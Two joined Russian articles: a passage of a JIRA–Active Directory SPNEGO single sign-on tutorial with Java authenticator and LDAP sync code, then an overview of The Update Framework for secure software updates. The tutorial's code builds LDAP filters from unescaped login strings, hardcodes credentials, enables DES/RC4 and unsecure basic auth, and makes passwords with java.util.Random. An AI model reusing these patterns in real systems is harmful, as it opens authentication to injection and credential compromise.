permitted_enctypes = aes128-cts rc4-hmac des3-cbc-sha1 des-cbc-md5 des-cbc-crc
[realms]
LOCAL.DOMAIN = {
kdc = dc5.local.domain
default_domain = LOCAL.DOMAIN
}
[domain_realm]
.LOCAL.DOMAIN = LOCAL.DOMAIN
```
HelloKDC.java:
```
...
// Domain (pre-authentication) account
final String username = "test";
// Password for the pre-auth acct.
final String password = "password";
// Name of our krb5 config file
final String krbfile = "krb5.conf";
// Name of our login config file
final String loginfile = "login.conf";
// Name of our login module
final String module = "spnego-client";
...
```
Скомпилируйте и запустите файл HelloKDC.java, если всё прошло успешно, он выведет кучу строк и в конце *Connection test successful.*
Далее скачайте набор утилит [Support Tools](http://en.wikipedia.org/wiki/Windows_Support_Tools), установите их на доменный компьютер администратора и выполните команды:
```
setspn.exe -A HTTP/domain1 test
setspn.exe -A HTTP/domain2 test
...
setspn.exe -A HTTP/domainN test
```
, где
* **test** — логин пользователя, под которым SPNEGO будет заходить в AD
* **domain\*** — все возможные имена, по которым пользователям будет доступна JIRA (например, jira, jira.local.domain, и т.д.)
Скачайте [дистрибутив SPNEGO](http://sourceforge.net/projects/spnego/files/) и положите его в директорию *$JIRA\_HOME/lib*. Откройте файл $JIRA\_HOME/conf/web.xml и добавьте в конец (но до закрытия тега web-app) следующие строки:
```
SpnegoHttpFilter
net.sourceforge.spnego.SpnegoHttpFilter
spnego.allow.basic
true
spnego.allow.localhost
true
spnego.allow.unsecure.basic
true
spnego.login.client.module
spnego-client
spnego.krb5.conf
krb5.conf
spnego.login.conf
login.conf
spnego.preauth.username
test
spnego.preauth.password
password
spnego.login.server.module
spnego-server
spnego.prompt.ntlm
true
spnego.logger.level
1
SpnegoHttpFilter
\*
```
Не забудьте заменить имя пользователя и пароль на свои.
##### Аутентификатор
Пришло время написать аутентификатор, в задачи которого входит получение логина вошедшего пользователя от SPNEGO, добавления к этому логину почтового домена (т.к. логинами в JIRA выступают почтовые адреса) и заполнение свойства, содержащего телефон, у пользователей, у которых этого свойства ещё нет. В поставке SDK для плагинов JIRA 4.x не нашлось место классу JiraOsUserAuthenticator, на основе которого будет написан наш аутентификатор, т.к. этот класс уже является устаревшим. Поэтому его надо вручную добавить в библиотеки при компиляции, взять можно в *$JIRA\_HOME/atlassian-jira/WEB-INF/classes/com/atlassian/jira/security/login/*.
Собственно, код аутентификатора:
```
import java.security.Principal;
import java.util.Properties;
import java.util.Random;
import javax.naming.NamingEnumeration;
import javax.naming.directory.Attribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.atlassian.core.user.preferences.Preferences;
import com.atlassian.jira.ComponentManager;
import com.atlassian.jira.security.login.JiraOsUserAuthenticator;
import com.atlassian.jira.user.preferences.UserPreferencesManager;
import com.atlassian.jira.user.util.UserUtil;
import com.opensymphony.user.Group;
import com.opensymphony.user.User;
@SuppressWarnings("deprecation")
public class RemoteAuthenticator extends JiraOsUserAuthenticator {
private static final long serialVersionUID = 1L;
private UserPreferencesManager preferencesManager = ComponentManager
.getInstance().getUserPreferencesManager();
// Адрес сервера LDAP
private final String ADDRESS_NAME = "java.naming.provider.url";
private final String ADDRESS_VALUE = "ldap://127.0.0.1:389";
// DN пользователя для соединения
private final String LOGIN_NAME = "java.naming.security.principal";
private final String LOGIN_VALUE = "cn=test,ou=users,dc=local,dc=domain";
// Пароль пользователя
private final String PASSWORD_NAME = "java.naming.security.credentials";
private final String PASSWORD_VALUE = "password";
// Базовый DN
private final String BASEDN = "ou=users,dc=local,dc=domain";
// Атрибут логина
private final String LOGIN_ATTRIBUTE = "mail";
// Атрибут имени (если не указано, равно логину)
private final String NAME_ATTRIBUTE = "displayName";
// Атрибут почтового адреса (если не указано,
// равен логин + @ + почтовый домен)
private final String MAIL_ATTRIBUTE = "mail";
// Атрибут телефона
private final String PHONE_ATTRIBUTE = "telephoneNumber";
// Почтовый домен
private final String DOMAIN = "local.domain";
@Override
public Principal getUser(HttpServletRequest request,
HttpServletResponse response) {
Principal user = null;
if (request.getSession() != null && request.getSession().
getAttribute(JiraOsUserAuthenticator.LOGGED_IN_KEY) != null) {
// Пользователь уже авторизован
user = (Principal) request.getSession().getAttribute(
JiraOsUserAuthenticator.LOGGED_IN_KEY);
} else {
String remote = request.getRemoteUser();
if (remote != null) {
// Получен логин от SPNEGO
if (!remote.endsWith('@' + DOMAIN)) {
/*
* Добавляем к логину почтовый домен,
* чтобы получить почтовый адрес.
* Данный метод вызывается дважды при входе,
* поэтому добавлять надо только однажды
*/
remote += '@' + DOMAIN;
}
user = getUser(remote.toLowerCase());
if (user == null) {
/*
* Пользователя с таким логином нет в JIRA,
* создаем
*/
try {
user = createUser(remote.toLowerCase());
} catch (Exception exception) {
exception.printStackTrace(System.err);
}
} else {
Preferences preferences = preferencesManager
.getPreferences((User) user);
String phone = preferences
.getString(UserUtil.META_PROPERTY_PREFIX + "mobile");
if (phone == null || phone.isEmpty()) {
/*
* У пользователя не заполнено свойство с телефоном,
* заполняем
*/
try {
phone = getPhone(remote.toLowerCase());
if (phone != null) {
preferences.setString(
UserUtil.META_PROPERTY_PREFIX
+ "mobile", phone);
}
} catch (Exception exception) {
exception.printStackTrace(System.err);
}
}
}
request.getSession().setAttribute(
JiraOsUserAuthenticator.LOGGED_IN_KEY, user);
request.getSession().setAttribute(
JiraOsUserAuthenticator.LOGGED_OUT_KEY, null);
}
}
return user;
}
private User createUser(String login) throws Exception {
DirContext context = null;
try {
Properties properties = new Properties();
properties.put(ADDRESS_NAME, ADDRESS_VALUE);
properties.put(LOGIN_NAME, LOGIN_VALUE);
properties.put(PASSWORD_NAME, PASSWORD_VALUE);
properties.put("java.naming.factory.initial",
"com.sun.jndi.ldap.LdapCtxFactory");
ComponentManager componentManager = ComponentManager.getInstance();
UserUtil userUtil = componentManager.getUserUtil();
context = new InitialDirContext(properties);
SearchControls controls = new SearchControls();
controls.setReturningAttributes(new String[] { "distinguishedName",
NAME_ATTRIBUTE, MAIL_ATTRIBUTE, PHONE_ATTRIBUTE });
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration users = context.search(BASEDN, '('
+ LOGIN_ATTRIBUTE + '=' + login + ')', controls);
if (users != null && users.hasMoreElements()) {
/*
* Пользователь с таким логином (почтовым адресом)
* найден в AD
*/
SearchResult result = (SearchResult) users.next();
Attribute attribute = result.getAttributes()
.get(NAME_ATTRIBUTE);
String userName;
if (attribute != null) {
userName = (String) attribute.get();
} else {
userName = login;
}
attribute = result.getAttributes().get(MAIL_ATTRIBUTE);
String userMail;
if (attribute != null) {
userMail = (String) attribute.get();
} else {
userMail = login.replace(' ', '.') + '@' + DOMAIN;
}
attribute = result.getAttributes().get(PHONE_ATTRIBUTE);
String userPhone = null;
if (attribute != null) {
userPhone = ((String) attribute.get()).replace("(", "")
.replace(")", "");
}
String userDN = (String) result.getAttributes()
.get("distinguishedName").get();
// Генерируем случайный пароль
String userPassword = Integer.toHexString(new Random().nextInt());
// Создаем пользователя
User user = userUtil.createUserNoEvent(login, userPassword,
userMail, userName);
// Если в AD указан телефон, заполняем свойство
if (userPhone != null) {
preferencesManager.getPreferences(user).setString(
UserUtil.META_PROPERTY_PREFIX + "mobile", userPhone);
}
/*
* Добавляем пользователя в группу JIRA, пришелшую из AD,
* если такая есть
*/
int index = userDN.indexOf("OU=") + 3;
String groupName = "[AD] "
+ userDN.substring(index, userDN.indexOf(',', index));
Group group = userUtil.getGroup(groupName);
if (group != null) {
userUtil.addUserToGroup(group, user);
}
return user;
} else {
return null;
}
} finally {
if (context != null) {
context.close();
}
}
}
private String getPhone(String username) throws Exception {
DirContext context = null;
try {
Properties properties = new Properties();
properties.put(ADDRESS_NAME, ADDRESS_VALUE);
properties.put(LOGIN_NAME, LOGIN_VALUE);
properties.put(PASSWORD_NAME, PASSWORD_VALUE);
properties.put("java.naming.factory.initial",
"com.sun.jndi.ldap.LdapCtxFactory");
context = new InitialDirContext(properties);
SearchControls controls = new SearchControls();
controls.setReturningAttributes(new String[] { PHONE_ATTRIBUTE });
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration users = context.search(BASEDN, '('
+ LOGIN_ATTRIBUTE + '=' + username + ')', controls);
if (users != null && users.hasMoreElements()) {
SearchResult result = (SearchResult) users.next();
Attribute attribute = result.getAttributes().get(
PHONE_ATTRIBUTE);
String userPhone = null;
if (attribute != null) {
userPhone = ((String) attribute.get()).replace("(", "")
.replace(")", "");
}
return userPhone;
} else {
return null;
}
} finally {
if (context != null) {
context.close();
}
}
}
}
```
Компилируем, кладем в *$JIRA\_HOME/atlassian-jira/WEB-INF/classes*, открываем файл *$JIRA\_HOME/atlassian-jira/WEB-INF/classes/seraph-config.xml* и меняем в нем строку
на
После этого можно перезапустить JIRA, настроить аутентификацию по Kerberos в своем любимом браузере и проверить работоспособность. Для недоменных компьютеров должно появляться окошко BASIC-авторизации, так что они тоже смогут зайти (если у них есть учетные записи в AD).
#### Служба
Вдобавок была написана служба, которая периодически синхронизирует пользователей в AD и в JIRA и добавляет текстовую метку к именам тех, которых нет в AD. Вот её код:
```
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import javax.naming.NamingEnumeration;
import javax.naming.directory.Attribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import com.atlassian.configurable.ObjectConfiguration;
import com.atlassian.configurable.ObjectConfigurationException;
import com.atlassian.core.user.preferences.Preferences;
import com.atlassian.jira.ComponentManager;
import com.atlassian.jira.event.user.UserEventType;
import com.atlassian.jira.service.AbstractService;
import com.atlassian.jira.user.preferences.UserPreferencesManager;
import com.atlassian.jira.user.util.UserUtil;
import com.opensymphony.module.propertyset.PropertySet;
import com.opensymphony.user.Group;
import com.opensymphony.user.User;
@SuppressWarnings("deprecation")
public class Importer extends AbstractService implements ObjectConfiguration {
// Адрес сервера LDAP
private final String ADDRESS_NAME = "java.naming.provider.url";
private String ADDRESS_VALUE = "ldap://127.0.0.1:389";
// DN пользователя для соединения
private final String LOGIN_NAME = "java.naming.security.principal";
private String LOGIN_VALUE = "cn=test,ou=users,dc=local,dc=domain";
// Пароль пользователя
private final String PASSWORD_NAME = "java.naming.security.credentials";
private String PASSWORD_VALUE = "password";
// Базовый DN
private final String BASE_NAME = "baseDN";
private String BASE_VALUE = "ou=users,dc=local,dc=domain";
// Атрибут логина
private final String LOGIN_ATTR_NAME = "userLoginAttribute";
private String LOGIN_ATTR_VALUE = "mail";
// Атрибут имени (если не указан, равно логину)
private final String NAME_ATTR_NAME = "userNameAttribute";
private String NAME_ATTR_VALUE = "displayName";
// Атрибут почтового адреса (если не указан, равен логин + @ + почтовый
// домен)
private final String MAIL_ATTR_NAME = "userMailAttribute";
private String MAIL_ATTR_VALUE = "mail";
// Атрибут телефона
private final String PHONE_ATTR_NAME = "userPhoneAttribute";
private String PHONE_ATTR_VALUE = "telephoneNumber";
// Почтовый домен
private final String DOMAIN_NAME = "userMailDomain";
private String DOMAIN_VALUE = "local.domain";
// Фильтр пользователей
private final String FILTER_NAME = "userFilter";
private String FILTER_VALUE = "(objectClass=user)";
// Строка, добавляемая к имени пользователя
private final String FIRED_STRING_NAME = "firedString";
private String FIRED_STRING_VALUE = "z_fired";
@Override
public void init(PropertySet properties)
throws ObjectConfigurationException {
super.init(properties);
for (Object keyObject : properties.getKeys()) {
String key = (String) keyObject;
if (key.equals(ADDRESS_NAME)) {
ADDRESS_VALUE = properties.getString(key);
} else if (key.equals(LOGIN_NAME)) {
LOGIN_VALUE = properties.getString(key);
} else if (key.equals(PASSWORD_NAME)) {
PASSWORD_VALUE = properties.getString(key);
} else if (key.equals(BASE_NAME)) {
BASE_VALUE = properties.getString(key);
} else if (key.equals(NAME_ATTR_NAME)) {
NAME_ATTR_VALUE = properties.getString(key);
} else if (key.equals(LOGIN_ATTR_NAME)) {
LOGIN_ATTR_VALUE = properties.getString(key);
} else if (key.equals(MAIL_ATTR_NAME)) {
MAIL_ATTR_VALUE = properties.getString(key);
} else if (key.equals(PHONE_ATTR_NAME)) {
PHONE_ATTR_VALUE = properties.getString(key);
} else if (key.equals(DOMAIN_NAME)) {
DOMAIN_VALUE = properties.getString(key);
} else if (key.equals(FILTER_NAME)) {
FILTER_VALUE = properties.getString(key);
} else {
FIRED_STRING_VALUE = properties.getString(key);
}
}
}
@Override
public ObjectConfiguration getObjectConfiguration()
throws ObjectConfigurationException {
return this;
}
@Override
public void run() {
try {
importUsers();
checkUsers();
} catch (Exception exception) {
exception.printStackTrace();
}
}
// Синхронизирует пользователей в AD и в JIRA
private void importUsers() throws Exception {
DirContext context = null;
try {
Properties properties = new Properties();
properties.put(ADDRESS_NAME, ADDRESS_VALUE);
properties.put(LOGIN_NAME, LOGIN_VALUE);
properties.put(PASSWORD_NAME, PASSWORD_VALUE);
properties.put("java.naming.factory.initial",
"com.sun.jndi.ldap.LdapCtxFactory");
ComponentManager componentManager = ComponentManager.getInstance();
UserPreferencesManager preferencesManager = componentManager
.getUserPreferencesManager();
UserUtil userUtil = componentManager.getUserUtil();
context = new InitialDirContext(properties);
SearchControls controls = new SearchControls();
controls.setReturningAttributes(new String[] { "distinguishedName",
LOGIN_ATTR_VALUE, NAME_ATTR_VALUE, MAIL_ATTR_VALUE,
PHONE_ATTR_VALUE });
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration users = context.search(BASE_VALUE, FILTER_VALUE,
controls);
while (users != null && users.hasMoreElements()) {
SearchResult result = (SearchResult) users.next();
Attribute attribute = result.getAttributes().get(
LOGIN_ATTR_VALUE);
if (userUtil.getUser((String) attribute.get()) != null) {
// Пользователь уже есть в JIRA
continue;
}
String login = ((String) attribute.get()).toLowerCase();
attribute = result.getAttributes().get(NAME_ATTR_VALUE);
String userName;
if (attribute != null) {
userName = (String) attribute.get();
} else {
userName = login;
}
attribute = result.getAttributes().get(MAIL_ATTR_VALUE);
String userMail;
if (attribute != null) {
userMail = (String) attribute.get();
} else {
userMail = login.replace(' ', '.') + '@' + DOMAIN_VALUE;
}
attribute = result.getAttributes().get(PHONE_ATTR_VALUE);
String userPhone = null;
if (attribute != null) {
userPhone = ((String) attribute.get()).replace("(", "")
.replace(")", "");
}
String userDN = (String) result.getAttributes()
.get("distinguishedName").get();
// Генерируем случайный пароль
String userPassword = Integer.toHexString(new Random()
.nextInt());
// Создаем пользователя
User user = userUtil.createUserWithEvent(login, userPassword,
userMail, userName, UserEventType.USER_CREATED);
if (userPhone != null) {
preferencesManager.getPreferences(user).setString(
UserUtil.META_PROPERTY_PREFIX + "mobile", userPhone);
}
/*
* Добавляем пользователя в группу JIRA,
* пришешдшую из AD, если такая есть
*/
int index = userDN.indexOf("OU=") + 3;
String groupName = "[AD] "
+ userDN.substring(index, userDN.indexOf(',', index));
Group group = userUtil.getGroup(groupName);
if (group != null) {
userUtil.addUserToGroup(group, user);
}
}
} finally {
if (context != null) {
context.close();
}
}
}
// Добавляет метки к тем пользователям, которых нет в AD
private void checkUsers() throws Exception {
DirContext context = null;
try {
Properties properties = new Properties();
properties.put(ADDRESS_NAME, ADDRESS_VALUE);
properties.put(LOGIN_NAME, LOGIN_VALUE);
properties.put(PASSWORD_NAME, PASSWORD_VALUE);
properties.put("java.naming.factory.initial",
"com.sun.jndi.ldap.LdapCtxFactory");
ComponentManager componentManager = ComponentManager.getInstance();
UserPreferencesManager preferencesManager = componentManager
.getUserPreferencesManager();
UserUtil userUtil = componentManager.getUserUtil();
context = new InitialDirContext(properties);
SearchControls controls = new SearchControls();
controls.setReturningAttributes(new String[] { PHONE_ATTR_VALUE });
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
for (User user : userUtil.getAllUsers()) {
NamingEnumeration users = context.search(BASE_VALUE, "(&("
+ LOGIN_ATTR_VALUE + '=' + user.getName() + ')'
+ FILTER_VALUE + ')', controls);
if (users == null || !users.hasMore()) {
// Пользователя нет в AD
if (!user.getFullName().startsWith(FIRED_STRING_VALUE)) {
user.setFullName(FIRED_STRING_VALUE + ' '
+ user.getFullName());
}
} else {
Preferences preferences = preferencesManager.
getPreferences(user);
String phone = preferences.getString(
UserUtil.META_PROPERTY_PREFIX + "mobile");
if (phone == null || phone.isEmpty()) {
// У пользователя не заполнено свойство с телефоном
try {
Attribute attribute = ((SearchResult) users.next())
.getAttributes().get(PHONE_ATTR_VALUE);
if (attribute != null) {
phone = ((String) attribute.get()).replace("(",
"").replace(")", "");
}
if (phone != null) {
preferences.setString(
UserUtil.META_PROPERTY_PREFIX
+ "mobile", phone);
}
} catch (Exception exception) {
exception.printStackTrace(System.err);
}
}
}
}
} finally {
if (context != null) {
context.close();
}
}
}
@Override
public boolean allFieldsHidden() {
return false;
}
@Override
public String getName() {
return "LDAP Importer";
}
@Override
public String getDescription() {
return "Раз в день импортирует пользователей из LDAP и меняет имена пользователей, которых нет в LDAP";
}
@SuppressWarnings("rawtypes")
@Override
public String getDescription(Map params) {
return "Раз в день импортирует пользователей из LDAP и изменяет имя пользователям, которых нет в LDAP";
}
@Override
public String[] getEnabledFieldKeys() {
return new String[] { ADDRESS_NAME, LOGIN_NAME, PASSWORD_NAME,
FILTER_NAME, BASE_NAME, LOGIN_ATTR_NAME, NAME_ATTR_NAME,
MAIL_ATTR_NAME, PHONE_ATTR_NAME, DOMAIN_NAME, FIRED_STRING_NAME };
}
@Override
public String getFieldDefault(String key)
throws ObjectConfigurationException {
if (key.equals(ADDRESS_NAME)) {
return ADDRESS_VALUE;
} else if (key.equals(LOGIN_NAME)) {
return LOGIN_VALUE;
} else if (key.equals(PASSWORD_NAME)) {
return PASSWORD_VALUE;
} else if (key.equals(BASE_NAME)) {
return BASE_VALUE;
} else if (key.equals(NAME_ATTR_NAME)) {
return NAME_ATTR_VALUE;
} else if (key.equals(LOGIN_ATTR_NAME)) {
return LOGIN_ATTR_VALUE;
} else if (key.equals(MAIL_ATTR_NAME)) {
return MAIL_ATTR_VALUE;
} else if (key.equals(PHONE_ATTR_NAME)) {
return PHONE_ATTR_VALUE;
} else if (key.equals(DOMAIN_NAME)) {
return DOMAIN_VALUE;
} else if (key.equals(FILTER_NAME)) {
return FILTER_VALUE;
} else {
return FIRED_STRING_VALUE;
}
}
@Override
public String getFieldDescription(String key)
throws ObjectConfigurationException {
if (key.equals(BASE_NAME)) {
return "Поиск ведется начиная с этого DN";
} else if (key.equals(MAIL_ATTR_NAME)) {
return "Если не указан, почта равна \"логин + @ + почтовый домен\"";
} else if (key.equals(FIRED_STRING_NAME)) {
return "Добавляется к имени пользователя если его нет в LDAP";
} else if (key.equals(NAME_ATTR_NAME)) {
return "Если не указан, имя равно логину";
}
return "";
}
@Override
public String[] getFieldKeys() {
return new String[] { ADDRESS_NAME, LOGIN_NAME, PASSWORD_NAME,
FILTER_NAME, BASE_NAME, LOGIN_ATTR_NAME, NAME_ATTR_NAME,
MAIL_ATTR_NAME, PHONE_ATTR_NAME, DOMAIN_NAME, FIRED_STRING_NAME };
}
@Override
public String getFieldName(String key) throws ObjectConfigurationException {
if (key.equals(ADDRESS_NAME)) {
return "Адрес сервера LDAP";
} else if (key.equals(LOGIN_NAME)) {
return "Логин пользователя LDAP";
} else if (key.equals(PASSWORD_NAME)) {
return "Пароль пользователя LDAP";
} else if (key.equals(BASE_NAME)) {
return "Базовый DN";
} else if (key.equals(NAME_ATTR_NAME)) {
return "Атрибут имени пользователя";
} else if (key.equals(LOGIN_ATTR_NAME)) {
return "Атрибут логина пользователя";
} else if (key.equals(MAIL_ATTR_NAME)) {
return "Атрибут адреса почты";
} else if (key.equals(PHONE_ATTR_NAME)) {
return "Атрибут телефона";
} else if (key.equals(DOMAIN_NAME)) {
return "Почтовый домен";
} else if (key.equals(FILTER_NAME)) {
return "Фильтр пользователей";
} else {
return "Метка";
}
}
@Override
public int getFieldType(String key) throws ObjectConfigurationException {
return 0;
}
@SuppressWarnings("rawtypes")
@Override
public Map getFieldValues(String key) throws ObjectConfigurationException {
return null;
}
@SuppressWarnings("rawtypes")
@Override
public void init(Map params) {
}
@Override
public boolean isEnabled(String key) {
return true;
}
@Override
public boolean isI18NValues(String key) {
return false;
}
}
```
Скомпилированный jar-файл (с помощью Jira Plugin SDK) со службой положить в *$JIRA\_HOME/atlassian-jira/WEB-INF/lib/*. Добавить службу можно в разделе Administration → System → Services
На этом всё, надеюсь, информация будет кому-нибудь полезной. | https://habr.com/ru/post/141144/ | null | ru | null |
# Как устроен The Update Framework (TUF). Обзор технологии безопасного обновления ПО
[The Update Framework](https://theupdateframework.io/) (TUF) — программный фреймворк с открытым кодом для защиты репозиториев, из которых скачиваются обновления. Главная задача TUF — предоставить возможность обновлять софт безопасно, а также минимизировать ущерб в случае, если обновление скомпрометировано. Фреймворк можно использовать, чтобы создать собственную систему обновления ПО (например, менеджер пакетов) либо повысить безопасность существующей.
В 2017 году TUF [приняли](https://www.cncf.io/announcements/2017/10/24/cncf-host-two-security-projects-notary-tuf-specification/) в экосистему Cloud Native Computing Foundation (CNCF), а в 2019-м он [стал](https://www.cncf.io/announcements/2019/12/18/cloud-native-computing-foundation-announces-tuf-graduation/) первым выпускником среди проектов из области безопасности. TUF ориентирован на внедрение в любые системы обновления ПО и системы управления конфигурациями *(а раз проект в CNCF, то речь, конечно, идет про решения из мира cloud native)*. Его уже используют Microsoft, Amazon, Google, DigitalOcean, Docker, IBM, Datadog, VMware, Red Hat и другие компании.
Цель этого обзора — краткое верхнеуровневое знакомство с основными возможностями и архитектурой TUF.
Что такое TUF
-------------
The Update Framework — это набор библиотек, файловых форматов и утилит, которые применяются для организации доверенного репозитория (он так и называется: TUF repository). В качестве технической основы для такого репозитория может использоваться любое хранилище, с которым можно работать по HTTP (например, S3). TUF абстрагирован от файлового формата конкретного хранилища, а для проверки целостности и безопасности контента оперирует его метаданными. Для активной защиты применяются криптографические алгоритмы, в том числе различные схемы шифрования электронных подписей и ротация ключей. Основная задача фреймворка — обеспечить безопасную доставку программных пакетов, бинарных файлов и другого контента из репозитория конечным пользователям.
Создатели TUF подчеркивают, что фреймворк снижает риск доставки вредоносного контента, но не избавляет от него. Любой репозиторий может быть скомпрометирован, и TUF помогает минимизировать последствия.
Разработка The Update Framework началась в 2009 году под руководством Джастина Каппоса (Justin Cappos), доцента Нью-Йоркского университета, специалиста по информатике и инженерным системам. С 2011-го проект базируется в «Инженерной школе Тандон» при университете. В развитии TUF участвует не только вуз, но и компании вроде VMware и Datadog.
Первоначальная идея проекта вдохновлена [Thandy](https://opensource.googleblog.com/2009/03/thandy-secure-update-for-tor.html), системой обновления Tor. Команда TUF решила использовать принципы, реализованные в Thandy, для создания универсального фреймворка, который можно было бы адаптировать для любой сторонней системы обновления. Главных принципа у TUF два:
1. Выявлять и предотвращать атаки.
2. Минимизировать ущерб от уже проведенных атак.
### Уязвимость существующих систем обновления
Существуют тысячи систем обновления, которые можно разделить на три больших класса: средства обновления приложений, менеджеры библиотек, менеджеры пакетов. Все они в той или иной мере уязвимы к взломам ключей и другим атакам, которые могут распространять вредоносное ПО или скомпрометировать репозиторий. TUF был задуман как система, которая была бы защищена от любых атак, направленных на все этапы процесса обновления контента — от его загрузки в репозиторий до скачивания пользователями.
В контексте систем обновлений *контент* — это обычно какое-либо ПО в виде пакетов, бинарных файлов и т. п. Цепочка поставки контента, как правило, начинается с обновления кода разработчиками в Git и заканчивается тем, что пользователь скачивает образ из доверенного репозитория. Логично, что система доставки обновлений — излюбленная цель для атак. Если речь идет о глобальном продукте, ПО которого обновляется автоматически, такая атака может нанести ущерб миллионам пользователей. Поэтому важно быть уверенным в том, что пользователи скачивают именно тот контент, который они должны (или собираются) получить.
Самый распространенный сценарий атаки — подмена контента, когда пользователь вместо ожидаемого ПО получает вредоносное. Внутри могут быть, например, трояны, бэкдоры, предыдущие версии официального ПО с незакрытыми уязвимостями и т. д. Актуальность подобных угроз не снижается, скорее наоборот — увеличивается по мере появления всё большего количества менеджеров обновлений.
Компании и проекты, обновления которых однажды уже были скомпрометированы### Недостатки популярных алгоритмов шифрования
**HTTPS, SSL, TLS.** Один из распространенных методов защиты, который применяется при обновлениях, — сочетание протокола HTTPS и SSL/TLS-сертификатов. Проблема в том, что они защищают *соединения*, но не контент. Система обновления подключается к нужному серверу, и пользователь безопасно получает файлы — но без каких-либо гарантий, что сами эти файлы безопасны.
**Pretty Good Privacy (PGP)** — [ПО](https://ru.wikipedia.org/wiki/PGP) для шифрования различных типов данных, разработанное еще в начале 1990-х. PGP контролирует целостность контента, проверяя соответствие цифровых подписей и ключей, однако не защищает от многих типов современных угроз. Например, когда пользователь скачивает неактуальную и уязвимую версию ПО, пусть и подписанную верным ключом. Или от атак типа [mix-and-match](https://stackoverflow.com/questions/37623285/what-are-mix-and-match-attacks-docker-snapshot-key). Другая проблема PGP — неспособность справиться с уязвимостью пакетных менеджеров, известной как «[путаница зависимостей](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)».
По заверениям разработчиков, TUF избавлен от недостатков перечисленных алгоритмов и защищает ото всех известных атак, направленных на процесс обновления: установки произвольного ПО (arbitrary installation attacks), «заморозки» обновлений (indefinite freeze attacks), скачивания лишних зависимостей (extraneous dependencies attacks) и т. д. Подробнее со списком угроз, от которых защищает TUF, можно ознакомиться в [документации](https://theupdateframework.github.io/specification/latest/#goals-to-protect-against-specific-attacks).
Безопасность кода самого фреймворка проверяют не только разработчики, но и сторонние аудиторы. Отчеты с результатами некоторых пентестов [выложены](https://theupdateframework.io/audits/) на сайте.
Как работает TUF
----------------
Фреймворк обеспечивает безопасное получение надежных целевых файлов — сам контент. Целевые файлы — «черный ящик» для TUF: это могут быть пакеты, в которых содержится несколько файлов, текстовые, исполняемые бинарные файлы и т. д.
TUF использует метаданные, которые описывают целевые файлы, — с такой информацией возможна безопасная идентификация файла. Метаданные также указывают на роли, которым доверено подписывать файл (подробнее о ролях и формате метаданных — ниже). TUF предоставляет доступ только к целевым файлам, которым можно доверять, то есть тем, на которые ссылаются правильно подписанные и актуальные метаданные.
Глобально The Update Framework решает три основных задачи безопасности:
* защищает контент и репозиторий, обеспечивая актуальность, согласованность и целостность данных;
* снижает влияние компрометации и потери ключей;
* помогает восстанавливать ключи (механизм встроен в ядро фреймворка).
### Защита контента
Механизм защиты контента основан на использовании криптографических подписей и регулировании срока действия ключей.
**1. Криптографические подписи для контента и репозитория.** Криптография на основе асимметричного шифрования обеспечивает контенту целостность (integrity), а репозиторию — согласованность (consistency). Подписывая программный пакет или образ контейнера, TUF дает гарантию их целостности — и здесь ничего необычного, так работают многие менеджеры обновлений. Но TUF гарантирует, что и сам репозиторий, то есть его содержимое согласовано. Зачем это нужно? Бывает, что злоумышленник контролирует, какие файлы передаются пользователю. Под видом доверенного репозитория он может передавать отдельные файлы, которые сами по себе могут быть безопасными, но все вместе — нет. TUF отслеживает такого рода атаки как раз за счет контроля согласованности.
**2. Короткий срок жизни ключа как гарантия актуальности (freshness) контента.** Фреймворк использует механизм неявного аннулирования (отзыва) ключа при истечении срока его действия. Срок указан в подписи. Если, например, хакер перехватит пакет и сообщит клиенту (пользователю), что обновлений нет, в какой-то момент подвох обнаружится. Потому что локальные подписи устареют, и клиент запросит новые.
В качестве примера практической реализации защиты контента на основе TUF — схема взаимодействия между клиентом и сервером, реализованная в системе безопасной дистрибуции [Notary](https://github.com/notaryproject/notary) (тоже проект CNCF):
### Снижение ущерба от потери и компрометации ключей
TUF использует 3 базовых подхода для снижения влияния потери и/или компрометации ключей: разделение ответственности, кворум подписей, а также баланс между уровнями доверия и риска.
**1. Разделение ответственности.** Для контроля согласованности, целостности и актуальности контента в TUF предусмотрены соответствующие роли, со своими ключами и подписями. Есть четыре фундаментальных верхнеуровневых роли: root, targets, snapshot и timestamp.
* *Root role* — подписывает ключи, которым доверяют все другие роли верхнего уровня.
* *Targets role* — ответственна за целостность единиц контента. Указывает, каким целевым файлам доверяют клиенты. Роль подписывает не сами целевые файлы, а метаданные для этих файлов.
* *Snapshot role* — ответственна за согласованность контента. Подписывает метаданные файла с информацией о последней версии всех метаданных целевых файлов в репозитории. Тем самым клиенты понимают, какие файлы были обновлены.
* *Timestamp role* — ответственна за актуальность контента. Подписывает инструкцию с временной меткой, которая содержит хэш-сумму снапшота файла. Механизм защищает от воспроизведения устаревшего файла, срок действия подписи которого еще не истек.
**2. Пороговое количество подписей (кворум).** Все роли могут использовать один или несколько ключей, и для проверки метаданных контента требовать пороговое количество подписей. Например, для роли, которая отвечает за целостность файлов, TUF может требовать определенный набор ключей и подписей этих файлов.
Если скомпрометировано менее порогового значения root-ключей, TUF-хранилище должно отозвать доверие к скомпрометированным ключам. Это реализуется с помощью обычной ротации root-ключей. Если пороговое значение ключей нарушено, безопаснее всего предположить, что злоумышленники установили вредоносное ПО и завладели машинами пользователей.
**3. Баланс между уровнями доверия и риска.** Допустим, ключ, который подписывает файлы каждые 2 минуты, должен быть доступным всегда, а значит — храниться онлайн. Риск компрометации у такого ключа высокий. TUF может подписать ограниченное количество ответственности для этого ключа и понизить уровень доверия к нему.
И наоборот, ключ, у которого больше ответственности и более высокий уровень доверия, должен храниться локально (офлайн). Клиенты могут безоговорочно доверять файлам, подписанным этим ключом. Спецификация TUF предписывает хранить все ключи offline, за исключением ключей для timestamp- и [mirrors-ролей](https://theupdateframework.github.io/specification/latest/index.html#mirrors).
